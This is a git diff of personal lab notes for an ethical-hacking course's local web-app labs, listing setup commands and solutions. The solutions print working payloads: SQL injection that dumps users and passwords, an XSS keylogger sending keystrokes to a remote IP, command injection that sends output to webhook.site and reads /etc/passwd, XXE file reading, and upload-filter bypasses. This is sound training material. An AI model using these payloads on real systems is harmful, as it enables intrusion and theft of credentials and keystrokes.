@@ -19,14 +19,17 @@ sudo /opt/pimpmykali/pimpmykali.sh
19
19
# Run menu option E for the WebApp Labs
20
20
# The labs start automatically
21
21
22
+ # To START the labs
23
+ cd $HOME /peh/labs
24
+ ./start-peh-labs.sh
25
+
26
+ # To (only) STOP the labs
27
+ sudo docker stop $( sudo docker ps -aq)
28
+
22
29
# To STOP and CLEANUP the labs
23
30
cd $HOME /peh/labs
24
31
./cleanup-peh-labs.sh
25
32
# This script removes ALL DOCKER CONTAINERS and NETWORKS!!!
26
-
27
- # To START the labs
28
- cd $HOME /peh/labs
29
- ./start-peh-labs.sh
30
33
```
31
34
32
35
- Run Burp Suite and open its proxy browser
@@ -37,35 +40,23 @@ cd $HOME/peh/labs
37
40
38
41
> # Lab solutions
39
42
>
40
- > ## Injection0x01
41
- >
42
- > - basic SQLi
43
- >
44
- > ## Injection0x02
45
- >
46
- > - login as jeremy: jeremy
47
- > - check the cookie used as a session token
48
- > - break it by adding a '
49
- > - notice the page doesn't show the welcome message now that there is a SQL error
50
- > - write a script to extract jessamy's password
51
- >
52
43
> ## Injection0x03
53
44
>
54
45
> - sushi shop
55
- > - product search
46
+ > - product search
56
47
> - UNION select to enum other tables
57
- > - find creds & login
58
- >
48
+ > - find creds & login
49
+ >
59
50
> ### solutions:
60
- >
51
+ >
61
52
> ` Tanjyoubi Sushi Rack' UNION SELECT username,password,null,null from injection0x03_users-- - `
62
- >
63
- > ## XSS 0x01
64
- >
65
- > ` <img src=x onerror=alert(1);> `
66
- >
53
+ >
54
+ > ## XSS 0x01
55
+ >
56
+ > ` <img src=x onerror=alert(1);> `
57
+ >
67
58
> ## XSS 0x02
68
- >
59
+ >
69
60
> ` <img src=x onerror=alert(1);> `
70
61
>
71
62
> ` <script>function logKey(event){fetch("http://10.10.100.146:4444/e?c=" + event.key)} document.addEventListener('keydown', logKey);</script> `
@@ -75,91 +66,91 @@ cd $HOME/peh/labs
75
66
> ## Command Inj 0x01
76
67
>
77
68
> ` https://tcm-sec.com; whoami; asd `
78
- > ` ; cat /etc/passwd; asd `
79
- >
80
- > ## Command Inj 0x02
81
- >
82
- > ` https://tcm-sec.com/& whoami& asd `
69
+ > ` ; cat /etc/passwd; asd `
70
+ >
71
+ > ## Command Inj 0x02
72
+ >
73
+ > ` https://tcm-sec.com/& whoami& asd `
83
74
> ` https://tcm-sec.com/ | sleep 10 | asd `
84
75
>
85
76
> ` https://webhook.site/<id>/? ` whoami``
86
77
>
87
78
> ## Command Inj 0x03
88
79
>
89
80
> ` 45123)^2))}';whoami;# `
90
- >
91
- > ## File upload 0x01
92
- >
93
- > - Intercept
81
+ >
82
+ > ## File upload 0x01
83
+ >
84
+ > - Intercept
94
85
> - Change contents
95
86
> - Or turn off JS
96
87
>
97
88
> ## File upload 0x02
98
89
>
99
90
> - Bypass the client-side again
100
- > - Intercept and change the content-type to image/png or image/jpeg
101
- >
102
- > ## File upload 0x03
103
- >
104
- > - Bypass the client-side again
91
+ > - Intercept and change the content-type to image/png or image/jpeg
92
+ >
93
+ > ## File upload 0x03
94
+ >
95
+ > - Bypass the client-side again
105
96
> - Intercept and change the content-type again
106
97
> - Use an extension that's not in the blocklist (.phtml)
107
- >
108
- > ## Authentication 0x01
109
- >
110
- > - Brute force
111
- >
98
+ >
99
+ > ## Authentication 0x01
100
+ >
101
+ > - Brute force
102
+ >
112
103
> ## Authentication 0x02
113
104
>
114
105
> - MFA code, switch username (code is OK for all users)
115
- > - Or, just brute the code
116
- >
106
+ > - Or, just brute the code
107
+ >
117
108
> ## Authentication 0x03
118
- >
119
- > - Account lockout after 5 attempts, therefore brute the top 4 passwords against a username list
120
- >
121
- > - common password list:
122
- >
123
- > ```
109
+ >
110
+ > - Account lockout after 5 attempts, therefore brute the top 4 passwords against a username list
111
+ >
112
+ > - common password list:
113
+ >
114
+ > ```
124
115
> password
125
- > password123
116
+ >password123
126
117
> letmein
127
118
> manchesterunited
128
- > ```
129
- >
130
- > - common usernames list: `/usr/share/seclists/Usernames/Names/names.txt`
131
- >
132
- > ## XXE, IDOR, capstone
133
- >
134
- > ### XXE 0x01
135
- >
119
+ >```
120
+ >
121
+ >- common usernames list: `/usr/share/seclists/Usernames/Names/names.txt`
122
+ >
123
+ >## XXE, IDOR, capstone
124
+ >
125
+ >### XXE 0x01
126
+ >
136
127
> ```
137
128
> <?xml version="1.0" encoding="UTF-8"?>
138
129
> <!DOCTYPE creds [
139
130
> <!ELEMENT creds ANY >]>
140
131
> <creds><user>username</user><password>pass</password></creds>
141
- > ```
142
- >
143
- > ```
132
+ >```
133
+ >
134
+ >```
144
135
> <?xml version="1.0" encoding="UTF-8"?>
145
- > <!DOCTYPE creds [
136
+ ><!DOCTYPE creds [
146
137
> <!ELEMENT creds ANY >
147
- > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
138
+ ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
148
139
> <creds><user>&xxe;</user><password>pass</password></creds>
149
140
> ```
150
- >
141
+ >
151
142
> ### IDOR
152
- >
143
+ >
153
144
> `fuzz the parameter`
154
145
>
155
146
> - find an admin user (or all of the admin users)
156
- >
147
+ >
157
148
> ### Capstone
158
- >
149
+ >
159
150
> SQLi to get into admin panel
160
151
> File upload to get RCE
161
- >
162
- > - XSS in the message alert
152
+ >
153
+ >- XSS in the message alert
163
154
> - XSS in account names probably? need to test
164
155
>
165
156
> - brute force user accounts
@@ -169,8 +160,8 @@ cd $HOME/peh/labs
169
160
> `http://localhost/capstone/coffee.php?coffee=3' or 1=1-- -`
170
161
>
171
162
> `http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,username,password,null,null,null,null%20from%20users--%20-`
172
- >
173
- > # To do list
174
- >
163
+ >
164
+ ># To do list
165
+ >
175
166
> - file upload capstone
176
- > - auth0x03 testing
167
+ >- auth0x03 testing
0 commit comments